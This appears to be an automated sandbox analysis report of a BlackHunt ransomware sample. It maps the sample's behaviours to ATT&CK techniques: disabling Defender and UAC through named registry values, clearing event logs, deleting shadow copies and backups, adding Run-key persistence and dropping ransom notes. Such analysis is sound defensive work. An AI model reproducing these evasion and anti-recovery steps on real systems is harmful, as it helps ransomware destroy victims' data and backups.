3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7

Data Destruction

T1485

pid	Process
2232	fsutil.exe
3060	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3776	wevtutil.exe
3784	wevtutil.exe
3468	wevtutil.exe
2772	wevtutil.exe
2744	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2428	bcdedit.exe
2792	bcdedit.exe
384	bcdedit.exe
2624	bcdedit.exe

Renames multiple (2916) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
908	wbadmin.exe
1884	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\O:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\G:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\K:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\B:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\T:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\H:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\J:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\A:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\Q:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\L:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\N:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\W:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\Z:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\X:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\P:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\M:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\U:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\I:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\S:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened (read-only)	\??\V:	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_ja.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-ui_ja.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\visualization\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\Java\jre7\lib\images\cursors\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-favorites_zh_CN.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-ui.xml	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Port-au-Prince	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_SelectionSubpicture.png	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\203x8subpicture.png	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_pt_BR.properties	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker_1.1.200.v20131119-0908.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Reunion	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui_4.0.100.v20140401-0608.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Davis	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mahe	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_splitter\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_zh_CN.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Damascus	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\rjmx.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.servlet_3.0.0.v201112011016.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_ja_4.4.0.v20140623020002.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Rothera	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Atikokan	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#BlackHunt_ReadMe.hta	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Monterrey	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_ja.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-charts.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-highlight.png	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_ja_4.4.0.v20140623020002.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tongatapu	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\bandwidth.png	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_zh_4.4.0.v20140623020002.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-options_ja.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help_3.6.0.v20130326-1254.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\EST5	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_zh_CN.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\CST6CDT	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_ReadMe.txt	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_Private.key	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_SelectionSubpicture.png	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\US_export_policy.jar	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2456	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2188	vssadmin.exe
2660	vssadmin.exe
1916	vssadmin.exe
2636	vssadmin.exe
2392	vssadmin.exe
1452	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2136	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3524	PING.EXE

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeRestorePrivilege	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeBackupPrivilege	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeTakeOwnershipPrivilege	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeAuditPrivilege	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeSecurityPrivilege	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeIncBasePriorityPrivilege	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe
Token: SeBackupPrivilege	1560	vssvc.exe
Token: SeRestorePrivilege	1560	vssvc.exe
Token: SeAuditPrivilege	1560	vssvc.exe
Token: SeBackupPrivilege	2804	wbengine.exe
Token: SeRestorePrivilege	2804	wbengine.exe
Token: SeSecurityPrivilege	2804	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 2008	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	154
PID 1944 wrote to memory of 2008	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	154
PID 1944 wrote to memory of 2008	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	154
PID 1944 wrote to memory of 2008	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	154
PID 1944 wrote to memory of 2728	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	152
PID 1944 wrote to memory of 2728	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	152
PID 1944 wrote to memory of 2728	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	152
PID 1944 wrote to memory of 2728	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	152
PID 1944 wrote to memory of 2776	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	150
PID 1944 wrote to memory of 2776	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	150
PID 1944 wrote to memory of 2776	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	150
PID 1944 wrote to memory of 2776	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	150
PID 2008 wrote to memory of 2716	2008	cmd.exe	149
PID 2008 wrote to memory of 2716	2008	cmd.exe	149
PID 2008 wrote to memory of 2716	2008	cmd.exe	149
PID 2728 wrote to memory of 2260	2728	cmd.exe	148
PID 2728 wrote to memory of 2260	2728	cmd.exe	148
PID 2728 wrote to memory of 2260	2728	cmd.exe	148
PID 1944 wrote to memory of 2636	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	147
PID 1944 wrote to memory of 2636	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	147
PID 1944 wrote to memory of 2636	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	147
PID 1944 wrote to memory of 2636	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	147
PID 1944 wrote to memory of 2536	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	144
PID 1944 wrote to memory of 2536	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	144
PID 1944 wrote to memory of 2536	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	144
PID 1944 wrote to memory of 2536	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	144
PID 1944 wrote to memory of 1628	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	30
PID 1944 wrote to memory of 1628	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	30
PID 1944 wrote to memory of 1628	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	30
PID 1944 wrote to memory of 1628	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	30
PID 1944 wrote to memory of 2844	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	143
PID 1944 wrote to memory of 2844	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	143
PID 1944 wrote to memory of 2844	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	143
PID 1944 wrote to memory of 2844	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	143
PID 2536 wrote to memory of 2552	2536	cmd.exe	141
PID 2536 wrote to memory of 2552	2536	cmd.exe	141
PID 2536 wrote to memory of 2552	2536	cmd.exe	141
PID 2776 wrote to memory of 1664	2776	cmd.exe	140
PID 2776 wrote to memory of 1664	2776	cmd.exe	140
PID 2776 wrote to memory of 1664	2776	cmd.exe	140
PID 1944 wrote to memory of 2696	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	139
PID 1944 wrote to memory of 2696	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	139
PID 1944 wrote to memory of 2696	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	139
PID 1944 wrote to memory of 2696	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	139
PID 2636 wrote to memory of 2572	2636	cmd.exe	137
PID 2636 wrote to memory of 2572	2636	cmd.exe	137
PID 2636 wrote to memory of 2572	2636	cmd.exe	137
PID 1944 wrote to memory of 664	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	135
PID 1944 wrote to memory of 664	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	135
PID 1944 wrote to memory of 664	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	135
PID 1944 wrote to memory of 664	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	135
PID 1944 wrote to memory of 2492	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	133
PID 1944 wrote to memory of 2492	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	133
PID 1944 wrote to memory of 2492	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	133
PID 1944 wrote to memory of 2492	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	133
PID 1944 wrote to memory of 2652	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	131
PID 1944 wrote to memory of 2652	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	131
PID 1944 wrote to memory of 2652	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	131
PID 1944 wrote to memory of 2652	1944	3ea098b8d75612f82aed4707ebaed7c7a91bef97a343f6f9f892f4d96d68c5c7.exe	131
PID 2844 wrote to memory of 2580	2844	cmd.exe	130
